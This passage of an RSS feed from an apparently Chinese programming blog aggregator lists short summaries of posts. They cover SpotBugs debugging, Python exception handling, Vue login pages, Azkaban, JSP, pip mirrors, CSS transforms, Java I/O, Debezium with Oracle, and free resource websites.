      <description>使用spotbugs的时候，加载find-sec-bugs插件，但是由于我之前删了一些东西，导致界面抛出了空指针异常，而且没有错误的日志错误堆栈之类的。&#xA;先在IDEA中设置remote debug：&#xA;复制命令，然后加入到启动命令中。&#xA;于是使用调试命令启动：&#xA;[~/GitProjects/spotbugs-4.4.2]$ java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar ./lib/spotbugs.jar [21:43:17] Listening for transport dt_socket at address: 5005 在java.lang.NullPointerException下断点。&#xA;发现原来是有些文件被删除了。&#xA;于是找到find-sec-bugs的代码，删掉相关的文件名字符串，重新编译，再将find-sec-bugs插件放到spotbugs的pluin目录下即可。</description>
    </item>
    <item>
      <title>Python-异常处理</title>
      <link>https://bchobby.github.io/posts/351168cf3c07c3d7c27334156f58ba91/</link>
      <pubDate>Sat, 23 Oct 2021 21:28:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/351168cf3c07c3d7c27334156f58ba91/</guid>
      <description>一、Python中常见的异常 异常描述BaseException所有异常的基类Exception常规错误的基类NameError尝试访问一个没有声明的变量引发的错误IndexError索引超出序列范围引起的错误IndentationError缩进错误ValueError传入无效的参数KeyError使用映射中不存在的键引发的错误IOError输入/输出操作错误ImportError导入模块/对象失败AttributeError对象没有这个属性引发的错误TypeError类型不合适引发的错误MemoryError内存溢出错误(对于Python 解释器不是致命的)ZeroDivisionError除数为0引发的错误AssertionError断言语句失败SyntaxErrorPython 语法错误 二、异常处理语句 1. try…except语句 try 语句的工作原理如下：&#xA;首先，执行 try 子句 （try 和 except 关键字之间的（多行）语句）。如果没有触发异常，则跳过 except 子句，try 语句执行完毕。如果在执行 try 子句时发生了异常，则跳过该子句中剩下的部分。 如果异常的类型与 except 关键字后指定的异常相匹配，则会执行 except 子句，然后跳到 try/except 代码块之后继续执行。如果发生的异常与 except 子句 中指定的异常不匹配，则它会被传递到外部的 try 语句中；如果没有找到处理程序，则它是一个 未处理异常 且执行将终止并输出如上所示的消息。 try: 可能出现错误的代码块 except 异常类型： try中一旦检测到异常，就执行这个位置的逻辑 在使用try…except语句捕获异常时，如果在except后面不指定异常名称，则表示捕获全部异常。&#xA;1.单分支&#xA;try: ab except NameError as e: #我们可以使用except与as+变量名 搭配使用，打印变量名会直接输出报错信息 print(e) #name &#39;ab&#39; is not defined 2.多分支&#xA;import sys try: f = open(&#39;myfile.txt&#39;) s = f.readline() i = int(s.strip()) except OSError as err: print(&#34;</description>
    </item>
    <item>
      <title>1.vue前端项目实战-登录功能</title>
      <link>https://bchobby.github.io/posts/d3bbfa6f99f85ce6610e5cb8ea5501ea/</link>
      <pubDate>Sat, 23 Oct 2021 17:14:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3bbfa6f99f85ce6610e5cb8ea5501ea/</guid>
      <description>1.登录 token 和 session的选择 客户端和服务器是否存在跨域问题，存在使用token，反之使用session&#xA;token原理 2.前端 新增单文件 vue组件&#xA;&amp;lt;template&amp;gt; &amp;lt;/template&amp;gt; //模板区 &amp;lt;script&amp;gt; //行为区 export default { } &amp;lt;/script&amp;gt; &amp;lt;style lang=&#34;less&#34; scoped&amp;gt; //样式区 scoped 代表样式只在当前组件生效 &amp;lt;/style&amp;gt; router.js 中增加路由规则&#xA;App.vue中增加路由占位符&#xA;访问根路径,重定向到/login&#xA;style 使用的less，要添加less和less-loader // 最新版本 可能会报错 npm install less less-loader --save-dev //卸载命令 npm uninstall less-loader //安装其他版本 npm install less-loader@4.1.0 //全局安装其他版本 npm install less-loader@4.1.0 -D //--save-dev 安装到开发环境 npm install less@3.12.2 less-loader@4.1.0 --save-dev //页面中使用 &amp;lt;style lang=&#39;less&#39;&amp;gt; @import url(&#34;./statistical.less&#34;); &amp;lt;/style&amp;gt; 全局样式 入口文件中导入css&#xA;登录界面</description>
    </item>
    <item>
      <title>大数据之Azkaban部署</title>
      <link>https://bchobby.github.io/posts/383b79502c6ed7325740aec30b4c86ae/</link>
      <pubDate>Sat, 23 Oct 2021 16:51:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/383b79502c6ed7325740aec30b4c86ae/</guid>
      <description>目录 一、Azkaban概论1.1 为什么需要工作流调度系统1.2 常见工作流调度系统1.3 Azkaban 与 Oozie 对比 二、Azkaban集群安装2.1 集群模式安装2.1.1 安装包准备2.1.2 配置 MySQL2.1.3 配置 Executor Server2.1.4 配置 Web Server 2.2 Work Flow 案例2.2.1 HelloWorld2.2.2 作业依赖案例2.2.3 自动失败重试案例2.2.4 手动失败重试案例 三、Azkaban进阶3.1 JavaProcess 作业类型案例3.2 条件工作流案例3.2.1 运行时参数案例3.2.2 预定义宏案例 3.3 定时执行案例3.4 邮件报警案例3.4.1 登录邮箱开启SMTP3.4.2 默认邮件报警案例 3.5 电话报警案例3.5.1 第三方告警平台集成3.5.2 Azkaban多Executor模式注意事项 一、Azkaban概论 1.1 为什么需要工作流调度系统 一个完整的数据分析系统通常都是由大量任务单元组成：Shell脚本程序，Java程序，MapReduce程序，Hive脚本等；各任务单元之间存在时间先后及前后依赖关系；为了很好地组织起这样的复杂执行计划，需要一个工作流调度系统来调度执行；&#xA;1.2 常见工作流调度系统 简单的任务调度:直接使用 Linux 的 Crontab 来定义;&#xA;注⚠️：Crontab不能处理具有依赖关系的任务调度！复杂的任务调度:开发调度平台或使用现成的开源调度系统，比如 Ooize、Azkaban、 Airflow、DolphinScheduler 等。 1.3 Azkaban 与 Oozie 对比 Ooize 相比 Azkaban 是一个重量级的任务调度系统，功能全面，但配置使用&#xA;也更复杂。如果可以不在意某些功能的缺失，轻量级调度器 Azkaban 是很不错的候选对象。</description>
    </item>
    <item>
      <title>Fiddler-设置重复自动发送请求N次</title>
      <link>https://bchobby.github.io/posts/0bfd7ecb30ca0efd684d47b61e3f7cd5/</link>
      <pubDate>Sat, 23 Oct 2021 10:18:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0bfd7ecb30ca0efd684d47b61e3f7cd5/</guid>
      <description>Fiddler中选择要操作的请求，右键选择Replay→Request sequentially&#xA;Repeat Count输入框输入请求次数，确定&#xA;查看结果</description>
    </item>
    <item>
      <title>EL表达式</title>
      <link>https://bchobby.github.io/posts/ac72243ef6a504e4e2ce441587459cb3/</link>
      <pubDate>Fri, 22 Oct 2021 20:33:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ac72243ef6a504e4e2ce441587459cb3/</guid>
      <description> EL表达式 EL表达式的格式是:${ } 如果是null时输出空白&#xA;EL输出四大作用域的顺序时从小到大&#xA;EL输出复杂的对象 </description>
    </item>
    <item>
      <title>jsp的知识</title>
      <link>https://bchobby.github.io/posts/6cb0fb9b955d851ca0a9b3ba456c3bd3/</link>
      <pubDate>Fri, 22 Oct 2021 18:18:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6cb0fb9b955d851ca0a9b3ba456c3bd3/</guid>
      <description>jsp是什么？ 底层是servlet的程序，响应数据的封装页面&#xA;访问jsp页面，tomcat会翻译成一个java源文件和字节码文件。&#xA;这个java文件继承HttpJspBase 间接继承 HttpServlet&#xA;https://www.runoob.com/jsp/jsp-directives.html&#xA;&amp;lt;%@ page contexType=&#34;&#34;,&amp;gt;&#xA;language 编译语言java&#xA;contentType 连接类型text/html; charset=utf-8&#xA;pageEncoding 页面本身的字符集&#xA;import 导包&#xA;autoFlush 设置是否开启缓存默认true&#xA;buffer 缓冲大小默认8Kb&#xA;errorPage 错误页面路径&#xA;isErrorPage 标记该页面是错误页面默认是true&#xA;session 访问当前jsp页面，是否会创建HttpSession对象，默认true&#xA;extends 设置jsp翻译出来的java默认继承谁&#xA;jsp常用脚本 表达式脚本&#xA;&amp;lt;%=表达式脚本%&amp;gt;&#xA;_jspService()&#xA;out.print()&#xA;代码脚本&#xA;&amp;lt;%&#xA;java语句&#xA;%&amp;gt;&#xA;jsp九大内置对象 request是请求 一次请求时才有效pageContext是PageContextlmpl类 只有当前页面有效session是HttpSession类 一次会话有效application 是ServletContext 整个web工程都有效&#xA;上面四个是四大域对象，优先从小到大使用config 是ServletConfigoutpageexceptionresponse是响应 jsp的out和response.getWrite().write(&#34;…&#34;)区别 out.flush（）执行后out的缓冲会追加到response缓冲末尾&#xA;out.print可以输出任何数据&#xA;out.write只适合输出字符串&#xA;jsp 常用标签之静态包含 一般网页有:&#xA;头部信息，&#xA;主体信息，&#xA;尾部信息&#xA;静态包含（常用）&#xA;&amp;lt;%@ include file=&#34; jsp页面&#34;%&amp;gt;&#xA;特点：1.不会翻译被包含的jsp页面&#xA;2.是直接把被包含的jsp页面的代码拷贝到包含的位置执行输出&#xA;动态包含&#xA;JspRuntimeLibrary.include可以传递参数&#xA;&amp;lt;jsp:include page=&#34;</description>
    </item>
    <item>
      <title>Python环境配置</title>
      <link>https://bchobby.github.io/posts/67bd2ddb78fbbb82ef59fd54af4d28d6/</link>
      <pubDate>Fri, 22 Oct 2021 16:07:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67bd2ddb78fbbb82ef59fd54af4d28d6/</guid>
      <description>个人纯手写，本人也是小白，有错还望不吝指教，不喜勿喷。谢谢。&#xA;1、查看电脑当前Python环境&#xA;2、Python安装&#xA;步骤一：添加解释器到win path&#xA;步骤二：自定义选择安装选项&#xA;勾选第一条&#xA;此时下方路径应显示为：&#xA;C:\Program Files (x86)\Python37-32&#xA;或者：&#xA;C:\Program Files\Python37-32&#xA;管理员用户控制台输入 python，会有如下打印信息&#xA;3.1、Python包的安装&#xA;安装：pip install 包名&#xA;安装指定版本的：pip install 包名 版本号&#xA;卸载：pip uninstall 包名&#xA;查看当前电脑Python环境的已安装包列表：pip list&#xA;导出包列表txt：pip3 freeze &amp;gt; package.txt&#xA;从包列表文件安装： pip install -r package.txt&#xA;pip3 freeze &amp;gt; package.txt&#xA;导出的txt文件默认路径为（当前用户的根目录）：&#xA;C:\Users\Administrator&#xA;3.2、Python包的安装-pip install&#xA;有的时候报错是因为网络慢，因为包的默认镜像源在国外，但国内也有相应的镜像源&#xA;如：&#xA;清华：https://pypi.tuna.tsinghua.edu.cn/simple&#xA;阿里云：http://mirrors.aliyun.com/pypi/simple/&#xA;使用方法：&#xA;pip install 包名 -i http://mirrors.aliyun.com/pypi/simple/&#xA;3.3、Python包的安装-更新pip&#xA;在我们安装pip包的时候可能会遇到pip控件自身版本低的问题，如下图&#xA;解决方法：&#xA;使用提示中的: pip install --upgrade pip&#xA;进行更新&#xA;3.4、Python包的安装-查看包列表&#xA;查看包列表：pip list&#xA;可查看包是否已安装及包的版本</description>
    </item>
    <item>
      <title>js保留两位小数方法总结</title>
      <link>https://bchobby.github.io/posts/f7e4bc00c3170f92a241fea080bfcf4c/</link>
      <pubDate>Fri, 22 Oct 2021 15:47:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f7e4bc00c3170f92a241fea080bfcf4c/</guid>
      <description>js保留两位小数方法总结 - 半指温柔乐 - 博客园</description>
    </item>
    <item>
      <title>stata 面板数据</title>
      <link>https://bchobby.github.io/posts/03bd7929072acc50106a8a5d7251a232/</link>
      <pubDate>Fri, 22 Oct 2021 15:05:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/03bd7929072acc50106a8a5d7251a232/</guid>
      <description>设定面板：&#xA;xtset stkcd time&#xA;xtreg y x1 x2 x3 i.time i.stkcd # 固定时间、企业&#xA;xtreg y x1 x2 x3 i.time # 固定时间&#xA;xtreg y x1 x2 x3 i.stkcd # 固定企业&#xA;xtreg y x1 x2 x3 i.industry # 固定行业&#xA;xtreg y x1 x2 x3 ,fe # 固定企业</description>
    </item>
    <item>
      <title>主流的虚拟化软件和他们各自的特点</title>
      <link>https://bchobby.github.io/posts/5ab1726c6686dc31d605066ae927f145/</link>
      <pubDate>Fri, 22 Oct 2021 14:07:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5ab1726c6686dc31d605066ae927f145/</guid>
      <description>虚拟化软件根据侧重不同 大致分为两类&#xA;侧重服务器虚拟化 一类是侧重服务器虚拟化方面&#xA;ESXi：是一个裸机管理程序，只有150多MB，可以以镜像的方式直接安装在Windows或Linux上。支持多种系统虚拟化如windows，linux，solaris，macOS，通过直接访问和控制底层资源，来对硬件资源整合以此降低成本提升性能。特点是占用空间小，支持的系统多&#xA;KVM是一个开源的基于 x86 Linux 的完整虚拟化解决方案，它由一个可加载的内核模块（ kvm.ko ）组成，这个模块提供虚拟化核心架构和处理器规范模块，可以虚拟每个虚拟机的私有硬件如网卡、磁盘等，由于KVM 是基于 Linux 内核实现的，所以他对linux的整合度很高，抽象来说他就是linux内核的一部分&#xA;Hyper-V:微软开发的，专为windows定制，也支持linux，但是性能缺失严重&#xA;Xen：由剑桥大学开发，设计初衷是一台主机能运行上百台虚拟机，引入了域的概念，虚拟机通过不同的域来分割，支持两种模式的虚拟化：半虚拟化(paravirtualization)和完全虚拟化(full virtualization)与KVM不同的是：当硬件不具备虚拟化能力的时候，Xen可以采用半虚拟化的方式运行虚拟机&#xA;侧重于桌面虚拟化 一类侧重桌面虚拟化&#xA;VMware workstation&#xA;VMware Fusion（Mac）&#xA;Oracle VirtualBox现在是由甲骨文公司进行开发， 可虚拟的系统包括Windows（从Windows 3.1到Windows10、Windows Server 2012，所有的Windows系统都支持）、Mac OS X、Linux、OpenBSD、Solaris、IBM OS2甚至Android等操作系统！</description>
    </item>
    <item>
      <title>Kafka学习总结</title>
      <link>https://bchobby.github.io/posts/5ce5f2321a4256fd4c8a5b44b306d61b/</link>
      <pubDate>Fri, 22 Oct 2021 11:07:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5ce5f2321a4256fd4c8a5b44b306d61b/</guid>
      <description>背景 介绍 架构 使用 接口 参考 https://blog.51cto.com/u_9291927/2502063</description>
    </item>
    <item>
      <title>使用simulink搭建简单的安时积分计算电池的SOC</title>
      <link>https://bchobby.github.io/posts/34c310314ca628fe5c2b7732541acecd/</link>
      <pubDate>Fri, 22 Oct 2021 10:29:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34c310314ca628fe5c2b7732541acecd/</guid>
      <description>使用simulink搭建简单的安时积分计算电池的SOC</description>
    </item>
    <item>
      <title>ORTP(3)VS2019编译ORTP</title>
      <link>https://bchobby.github.io/posts/00d4098f68cb60aefb27875a4b91b050/</link>
      <pubDate>Fri, 22 Oct 2021 10:18:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/00d4098f68cb60aefb27875a4b91b050/</guid>
      <description>将ortp源码复制到window上，打开VS2019，文件----打开-----项目/解决方案&#xA;打开 ortp\build\win32nativ下的VS项目&#xA;导入完成&#xA;直接运行&#xA;编译报错，查看&#xA;屏蔽它&#xA;编译成功，添加dll或者lib使用库&#xA;库路径&#xA;\ortp\build\win32native\Debug&#xA;添加工程在exe/ortp/&#xA;第一层&#xA;# CMake 最低版本号要求 cmake_minimum_required(VERSION 3.0.0) # 项目名称 project(1) # 第二种编译方式，手动添加 file(GLOB MY_SOURCE_DIR ./source/*.c ./source/1/*.c) set(MY_INCLUDE_DIR ./include ./include/1) # 向工程添加多个指定头文件的搜索路径 include_directories (${MY_INCLUDE_DIR}) #链接线程库 LINK_LIBRARIES(-lm) # 向当前工程添加存放源文件的子目录 add_executable (main ${MY_SOURCE_DIR}) # 生成文件路径 指定为项目根目录的bin路径 set (EXECUTABLE_OUTPUT_PATH ${PROJECT_SOURCE_DIR}/exe) add_subdirectory (source/2-ortp) 2-ortp&#xA;add_subdirectory (./rtpsend) add_subdirectory (./rtprecv) add_subdirectory (./mrtpsend) add_subdirectory (./mrtprecv) rtpsend&#xA;# CMake 最低版本号要求 cmake_minimum_required(VERSION 3.0.0) # 第二种编译方式，手动添加 file(GLOB ORTP_SOURCE_DIR ./*.c) set(ORTP_INCLUDE_DIR ${PROJECT_SOURCE_DIR}/lib/1-ortp/) # 向工程添加多个指定头文件的搜索路径 include_directories (${ORTP_INCLUDE_DIR}) #链接线程库 LINK_LIBRARIES(-lm) # 找库 find_library(ORTP_LIB oRTP.</description>
    </item>
    <item>
      <title>Mybatis查询单个字段值的列表</title>
      <link>https://bchobby.github.io/posts/14e9264f3732cb0a02999695891ec02b/</link>
      <pubDate>Thu, 21 Oct 2021 17:18:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/14e9264f3732cb0a02999695891ec02b/</guid>
      <description> 使用baseMapper.selectObjs()方法即可，然后再根据需要转为相应的类型。&#xA;例子如下：根据follower_id查询target_id的集合，然后转为String类型。&#xA;//得到targetId的值列表 List&amp;lt;Object&amp;gt; objects = followMapper.selectObjs( new QueryWrapper&amp;lt;Follow&amp;gt;().select(&#34;target_id&#34;).eq(&#34;follower_id&#34;, followerId) ); //转为String类型后返回 List&amp;lt;String&amp;gt; targetIdList = objects.stream().map(o -&amp;gt; (String) o).collect(Collectors.toList()); </description>
    </item>
    <item>
      <title>CSS3中transform属性</title>
      <link>https://bchobby.github.io/posts/ea479e3623f331f3487f0cb31987d1f6/</link>
      <pubDate>Thu, 21 Oct 2021 17:07:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ea479e3623f331f3487f0cb31987d1f6/</guid>
      <description>CSS3中transform属性 在css3中transform主要包括：&#xA;1、旋转（rotate）&#xA;rotate（）在一个给定度数顺时针旋转的元素。负值表示元素按逆时针旋转。单位deg，设置的值为正数表示顺时针旋转，如果设置的值为负数，则表示逆时针旋转&#xA;transfrom: rotate(30deg); 2、扭曲（skew）&#xA;skew（）包含两个参数值，分别表示X轴和Y轴倾斜的角度，如果第二个参数为空，则默认为0，参数为负表示向相反的方向倾斜&#xA;skewX（）:表示只在X轴（水平方向）倾斜&#xA;skewY（）:表示只在Y轴（垂直方向）倾斜&#xA;倾斜/扭曲；参数表示倾斜角度，单位deg&#xA;skew（x,y）使元素在水平和垂直方向同时扭曲（X轴和Y轴同时按一定的角度进行扭曲变形），如：&#xA;transfrom: skew(30deg,30deg); skewX（x）仅是元素在水平方向扭曲变形（X轴扭曲变形），如： transfrom: skewX(30deg); skewY（）仅是元素在水平方向扭曲变形（Y轴扭曲变形），如：&#xA;transfrom: skewY(30deg); 3、缩放（scale）&#xA;scale（）：该元素增加或减少的大小，取决于宽度（X轴）和高度（Y轴）的参数。用于对元素进行缩放，可以通过transform-orgin对元素的基点进行设置，同样基点在元素中心位置；基中X表示水平方向缩放的倍数，Y表示垂直方向的缩放倍数，而Y是一个可选参数，如果没有设置Y值，则表示X,Y两个方向的缩放倍数是一样的，并以X为准。&#xA;transform: scale(2,1.5); sccleX（）：使用[sx,1]缩放矢量执行缩放操作，sx为所需参数。scaleX表示元素只在X轴（水平方向）缩放元素，他的默认值是（1,1）&#xA;transfrom: scaleX(2); sccleX（）：使用[1,sy]缩放矢量执行缩放操作，sy为所需参数。scaleY表示元素只在Y轴（水平方向）缩放元素&#xA;transfrom: scaleY(2); 4、移动（translate）&#xA;tarnslate（）根据左（X轴）和顶部（Y轴）位置给定的参数，从当前元素位置移动。&#xA;translate(x,y)水平方向和垂直方向同时移动（也就是X轴和Y轴同时移动），向右向上为证书，向左向下位移则为负“-”，translateX(x)仅水平方向移动（X轴移动）。translateY(Y)仅垂直方向移动，使用方法如下：&#xA;translate: translate(100px, 20px); translate: translateX(100px); translate: translateY(20px); 5、矩阵变形（matrix）&#xA;matrix（）和2D变换方法合并成一个。matrix方法有六个参数，包含旋转，缩放，移动（平移）和倾斜功能。&#xA;矩阵：matrix 以一个含六值的（a,b,c,d,e,f）变换矩阵的形式指定一个2D变换，相当于直接应用一个[a b c d e f]变换矩阵。就是基于水平方向（X轴）和垂直方向（Y轴）重新定位元素，此属性值使用涉及到数学中的矩阵&#xA;改变元素基点transform-orgin&#xA;2D转换元素能够改变元素x和y轴。transform-orgin（x,y）:用了设置元素的运动的基点（参照点）。默认点是元素的中心点。其中X和Y的值可以是百分值，em，px,其中x也可以是字符参数值left,center,right;&#xA;Y和X一样除了百分值以外还可以设置top,center,bottom,这个看上去有点像background-position设置一样，对应写法如下：&#xA;1、top left | left top 等价于 0 0 | 0% 0%&#xA;2、top | top center | center top 等价于50% 0</description>
    </item>
    <item>
      <title>Idea快捷键大全（Windows简单总结）</title>
      <link>https://bchobby.github.io/posts/d8d685b5aebe28de53f0526bb83f1c7a/</link>
      <pubDate>Thu, 21 Oct 2021 16:54:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d8d685b5aebe28de53f0526bb83f1c7a/</guid>
      <description>1.点中某行任意位置Ctrl+c 复制整行&#xA;2.复制历史 Ctrl+shift+v 3.Main方法 psvm main 4.剪切光标所在行 Ctrl+x&#xA;5.Alt+shift+上下 当前行向上向下移动&#xA;移动多行：shift+上，选中两行，Alt+shift+上下移动&#xA;6.Home键跳到行首，End键跳到行尾&#xA;Ctrl+左右，跳过一个词&#xA;Ctrl+shift+左右，选中一个词&#xA;7.Alt+左右 左右切换Tabs&#xA;8.打开所在文件夹 show in Explorer&#xA;9.导航栏切换 点击上面直接切换&#xA;10.Ctrl+shift+R/F 全局查找/替换&#xA;11.Ctrl+shift+N 按文件名查找文件 12.纵向选择多列：按住Alt不放，鼠标点击拖动&#xA;13.Ctrl+Alt+V 自动生成返回值 补全代码，相当于.var&#xA;14.指定for循环 变量名.for&#xA;判断是否为null 变量.null&#xA;15.Todo待办事项&#xA;16.Ctrl+shift+Alt+ j 选中当前文件中，所以一样的字符串&#xA;Ctrl+shift+右 选中一个词</description>
    </item>
    <item>
      <title>Java - I/O之字节流和字符流</title>
      <link>https://bchobby.github.io/posts/131c16bd8afb6a3658852da9331a9d77/</link>
      <pubDate>Thu, 21 Oct 2021 16:03:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/131c16bd8afb6a3658852da9331a9d77/</guid>
      <description>1. 流的概念 stream即一系列数据，当不同介质之间有数据交互的时候Java就使用流来实现。当建立文件输入流后，这个流就可以用来把数据从硬盘读取到JVM(内存)中。流分为输入流(InputStream)和输出流(OutputStream)。&#xA;2. 流的种类 目前我接触到的流主要分为2类，一类是字节流(byte),另一类是字符流(char)。&#xA;关系如下:(当看到水印的时候就知道这图我绝对是借鉴的，我的xmind崩了)&#xA;2.1字节流 字节流即以字节的方式读取和写入数据。&#xA;写入:FileInputStream&#xA;读取:FileOutputStream&#xA;/* * 以字节流的形式读取数据 * */ public static void read(File file){ try(FileInputStream fis=new FileInputStream(file)){ byte[] all=new byte[(int)file.length()]; //将数据写入all数组中 fis.read(all); for(byte b:all){ System.out.println(b); } }catch (IOException e){ e.printStackTrace(); } } /* * 以字节流的形式向文件中写入数据 * */ public static void write(File file){ try(FileOutputStream fos=new FileOutputStream(file)){ //1.先判断一下文件路径是否存在，不存在的话新建个相应目录 if(!file.exists()){ //2.如果文件不存在的话找到file的目录，新建 file.getParentFile().mkdirs(); //3.下面这步是根据file创建空白文件，可以不写,因为outputStream在写出的时候只要路径正确，如果没有文件会自动进行创建 file.createNewFile(); } byte[] words={&#39;a&#39;,99}; fos.write(words); }catch (IOException e){ e.printStackTrace(); } } 2.1.1数据流 数据流可以直接对文件进行字符串的读写，但是写好的文件需要指定的流进行读取。</description>
    </item>
    <item>
      <title>AD操作指南2：原理图屏蔽设置</title>
      <link>https://bchobby.github.io/posts/ed163467d53f9f347c1176d041fa3807/</link>
      <pubDate>Thu, 21 Oct 2021 15:35:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ed163467d53f9f347c1176d041fa3807/</guid>
      <description>1.放置—指示—编译屏蔽&#xA;2,灰色区域内的电路将不起作用，编译或者更新到PCB时也不会起作用</description>
    </item>
    <item>
      <title>剑指 Offer 09. 用两个栈实现队列（视频讲解）</title>
      <link>https://bchobby.github.io/posts/376ff7cd87f42466f69bb36c4b42ac5c/</link>
      <pubDate>Thu, 21 Oct 2021 12:18:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/376ff7cd87f42466f69bb36c4b42ac5c/</guid>
      <description>一、题目描述 用两个栈实现一个队列。队列的声明如下，请实现它的两个函数 appendTail 和 deleteHead ，分别完成在队列尾部插入整数和在队列头部删除整数的功能。(若队列中没有元素，deleteHead 操作返回 -1 )&#xA;示例 1：&#xA;输入： [&#34;CQueue&#34;,&#34;appendTail&#34;,&#34;deleteHead&#34;,&#34;deleteHead&#34;] [[],[3],[],[]] 输出：[null,null,3,-1] 示例 2：&#xA;输入： [&#34;CQueue&#34;,&#34;deleteHead&#34;,&#34;appendTail&#34;,&#34;appendTail&#34;,&#34;deleteHead&#34;,&#34;deleteHead&#34;] [[],[],[5],[2],[],[]] 输出：[null,-1,null,null,5,2] 提示：&#xA;1 &amp;lt;= values &amp;lt;= 10000最多会对 appendTail、deleteHead 进行 10000 次调用 二、保姆级参考代码 // 登录 AlgoMooc 官网获取更多算法图解 // https://www.algomooc.com // 作者：程序员吴师兄 // Java 中的 Stack 类设计有问题，大部分情况下是使用 LinkedList 来构建栈，但为了结合动画更好的理解这道题目，所以依旧使用 Stack class CQueue { // 队列的特点，先进先出 // 栈的特点是先进后出 // 创建两个栈 // 创建栈 stack1 用来充当队列 Stack&amp;lt;Integer&amp;gt; stack1; // 创建栈 stack2 用来辅助 stack1 执行队列的一些复杂操作 Stack&amp;lt;Integer&amp;gt; stack2; // 这个函数是 creat queue // 意思就是初始化队列 // 由于题目要求我们用两个栈实现队列，所以在这个函数中初始化的是两个栈 public CQueue() { // 初始化 stack1 stack1 = new Stack&amp;lt;Integer&amp;gt;(); // 初始化 stack2 stack2 = new Stack&amp;lt;Integer&amp;gt;(); } // 这个函数的意思是在队列的尾部添加元素 // 使用栈来完成这个操作的话就是在 stack1 的后面添加元素就行 public void appendTail(int value) { // 直接将元素存放到 stack1 中 // 比如原队列为 // ------------- // 队尾 1 2 3 4 5 队头 // ------------- // 当前 value 为 6 // 那么由 stack1 和 stack2 组成的队列就是 // ---------------- // 队尾 6 1 2 3 4 5 队头 // ---------------- stack1.</description>
    </item>
    <item>
      <title>debezium to oracle 11g 实时同步</title>
      <link>https://bchobby.github.io/posts/021a9f120702c53a2a7f6e828057f7b7/</link>
      <pubDate>Thu, 21 Oct 2021 10:20:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/021a9f120702c53a2a7f6e828057f7b7/</guid>
      <description>第1章 debezium概述 1.1 debezium是什么 Debezium 是一组分布式服务，用于捕获数据库中的更改，以便您的应用程序可以查看这些更改并对其做出响应。 Debezium 在更改事件流中记录每个数据库表中的所有行级更改，应用程序只需读取这些流以查看更改事件发生的相同顺序。&#xA;1.2 debezium的依赖 Debezium 构建在 Apache Kafka 之上，并提供与 Kafka Connect 兼容的连接器，用于监控特定的数据库管理系统。 Debezium 在 Kafka 日志中记录数据更改的历史记录，从您的应用程序使用它们的位置。 这使您的应用程序可以轻松正确且完整地使用所有事件。 即使您的应用程序意外停止，它也不会错过任何内容：当应用程序重新启动时，它将继续使用它停止的事件。&#xA;第2章 环境搭建 2.1 所需软件及测试版本 jdk-8u211-linux-x64.tar.gz&#xA;apache-zookeeper-3.5.7-bin.tar.gz&#xA;kafka_2.11-2.4.0.tgz&#xA;debezium-connector-oracle-1.7.0.Final-plugin.tar.gz&#xA;instantclient-basic-linux.x64-21.3.0.0.0.zip (oracle客户端)&#xA;oracle 11g R2&#xA;2.2 数据库准备 （1）设置Oracle LogMiner所需的配置&#xA;[root@tDataAnalysis01 config]# su - oracle [oracle@tDataAnalysis01 config]$ sqlplus / as sysdba SQL&amp;gt; alter system set db_recovery_file_dest_size = 10G; SQL&amp;gt; shutdown immediate; SQL&amp;gt; startup mount; SQL&amp;gt; alter database archivelog; SQL&amp;gt; alter database open; （2）保证Database log mode显示为Archive Mode</description>
    </item>
    <item>
      <title>资源网站推荐</title>
      <link>https://bchobby.github.io/posts/e020e6b18604febee3f54bdcf3750591/</link>
      <pubDate>Thu, 21 Oct 2021 09:48:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e020e6b18604febee3f54bdcf3750591/</guid>
      <description>资源网站推荐 篇九：这15个免费网站，帮你找到你想要的所有资源，&#xA;创作立场声明：以下所有网站都是我经常使用，并且免费的，各位值友可以放心使用！&#xA;大家好，我是江南俏才子，新人求支持、求关注，谢谢！ 资源网站推荐 篇九：这15个免费网站，帮你找到你想要的所有资源， 资源网站推荐 篇九：这15个免费网站，帮你找到你想要的所有资源， 资源网站推荐 篇九：这15个免费网站，帮你找到你想要的所有资源，&#xA;网上付费资源太多，找资源没有渠道，头脑一片空白，你有没有这种遭遇？&#xA;大家好，我是江南俏才子，今天为大家带来了15个完全免费的资源网站，能白嫖不说，质量也丝毫不逊色于付费网站，这15个网站我给分为六大类，可以根据分类快速跳转到所需要的类型&#xA;一、学习考试类&#xA;1、问答酷&#xA;https://www.asklib.com/&#xA;一个非常全面的考试题库搜索网站，这个网站不仅适合大学生，也对很多需要考证的人士十分有用。&#xA;资源网站推荐 篇九：这15个免费网站，帮你找到你想要的所有资源，&#xA;这里提供的题库搜索包含财务类、计算机类、资格类、招录类、学历类、医学类。题库的类型涉及的比较全面，它不仅给我们提供了考试的题库搜索，还提供了这一个题目的答案解析。&#xA;资源网站推荐 篇九：这15个免费网站，帮你找到你想要的所有资源，&#xA;我们可以在线可以直接进行测试，测试完成之后，这里还会给我们提供相似的题目来进行巩固，可以说非常的强大。&#xA;2、考试酷&#xA;https://www.examcoo.com/&#xA;这是一个可以进行各种模拟考试的网站，或者说它是一个强大的综合题库中心，目前收录的试卷共有172万份，试卷188万套，共涉及12大类，以及数不清的职位和证书，比如会计资格证等。&#xA;资源网站推荐 